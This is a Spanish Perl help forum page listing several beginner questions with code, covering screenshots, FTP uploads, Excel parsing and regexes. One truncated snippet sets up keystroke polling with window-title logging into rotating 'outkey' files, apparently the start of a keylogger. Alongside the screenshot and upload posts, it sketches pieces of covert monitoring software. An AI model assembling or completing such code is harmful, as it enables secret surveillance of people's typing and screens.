Foro - Perl en Español

Hola tengo el siguiente código.

use Win32::Clipboard;
use Win32::GuiTest qw(SendKeys);

SendKeys("%{PRTSCR}");

my $a = Win32::Clipboard::GetBitmap();

open (FOTO,">".$numero.".bmp");
binmode(FOTO);
print FOTO $a;
close FOTO;

El problema es que las imágenes devueltas salen de una 1Mb para arriba, necesito que sean más livianas, he probado cambiando la extensión bmp por otra y sigue el mismo problema también probé renombrando la imagen y aún así sigue siendo una imagen pesada.

¿ Alguien me puede ayudar ?

Hola. Tengo un problema con el siguiente código. Lo acabo de probar con XAMPP y con una página en línea y aun así siempre se sube el archivo dañado pero en el disco el archivo no tiene ningún problema, siempre aparece como fichero dañado o final inesperado del archivo.

$ftp = Net::FTP->new($ftp_host);
$ftp->login($ftp_user,$ftp_pass);
$ftp->cwd($ftp_dir);
$ftp->put("test.zip");
$ftp->close();

¿ Alguien me podría ayudar ?

P.D.: pueden borrar el tema: solo había que agregar binary()

Hola. Quería saber qué otras formas más eficaces tengo para reconocer la extensión de un archivo. Había pensado en la típica expresión regular $file=~/\.exe/ pero quería saber qué otras formas hay.

¿ Alguien me puede dar un ejemplo ?

Estimados,

Estoy presentando problemas en un script al comparar si una variable es igual a cero. El código me deja algunas variable con un valor null; las variables null entran en el if() siendo que éste tiene la siguiente sentencia: if ($variable == 0 ).

Adjunto código, desde ya agradezco el apoyo.


#! /usr/bin/perl
#Transacciones

use MIME::Lite;
use strict;
use POSIX 'strftime';
my $fecha = strftime "%d-%m-%Y %H:%M:%S", localtime;
my $var_0;
my $var_1;
my ...

Saludos a la comunidad...

Tengo una consulta. Los archivos que están traducidos en perldoc-es, estos, ¿se pueden integrar con la instalación de Perl?

Por que bajé el ZIP y no sé qué hacer con él :P A ver si alguien me orienta...

Por otra parte ¿los archivos .pod son para la consola?

Saludos

¡¡Buenas noches!! ¡¡va, por lo menos en Argentina lo es!! Les cuento la inquietud que tengo.

pwd
/home/directorio
ls
archivo1 archivo2
my $ls = exec("ls");
my @lsarray = split(/\s+/, $ls);
print "$lsarray\n"; # solución esperada >> "archivo1"
archivo1 archivo2 # lo que sale como No quiero

Aguardo alguna sugerencia, me estoy iniciando en este lenguaje, unas de las primeras cosas que quiero realizar y ya me topo con algo. ¡¡Saludos!! y gracias.

Estimados, si bien siempre he ocupado Spreadsheet::ParseExcel::Simple para leer archivos Excel, hoy se me presenta lo siguiente:

Necesito leer desde una misma hoja ciertas celdas y luego comenzar un bucle para extraer datos desde la línea 100 en adelante.

Si bien he sacado los datos de las celdas fijas con Spreadsheet::Read, no sé cómo comenzar a sacar los datos desde la línea 100 en adelante...

Favor su ayuda, Gracias.

#!/usr/bin/perl

use Spreadsheet::Read;



open (FILE, @ARGV) ...

¿ Alguien me podría decir cómo una expresión regular para sacar de un variable $text todo lo que tenga 10 dígitos y mostrarlo por pantalla ?

.

Tengo el siguiente código

use Win32::GuiTest qw(GetAsyncKeyState GetForegroundWindow GetWindowText);
use Win32::API;
use Switch;

Win32::API->Import('user32', 'GetKeyState', 'I', 'I');

sub GetCapsLock {
GetKeyState(0x14) & 1;
}

sub GetNumLock {
GetKeyState(0x90) & 1;
}

sub GetScrollLock {
GetKeyState(0x91) & 1;
}

sub SetCapsLock {} # Not yet implemented

sub SetNumLock {} # Not yet implemented

sub SetScrollLock {} # Not yet implemented

while(1){

if(-s OUT >= 1048576){
close(OUT);
#$I++;
open (OUT, ">>outkey$I.txt") || die "could not create ...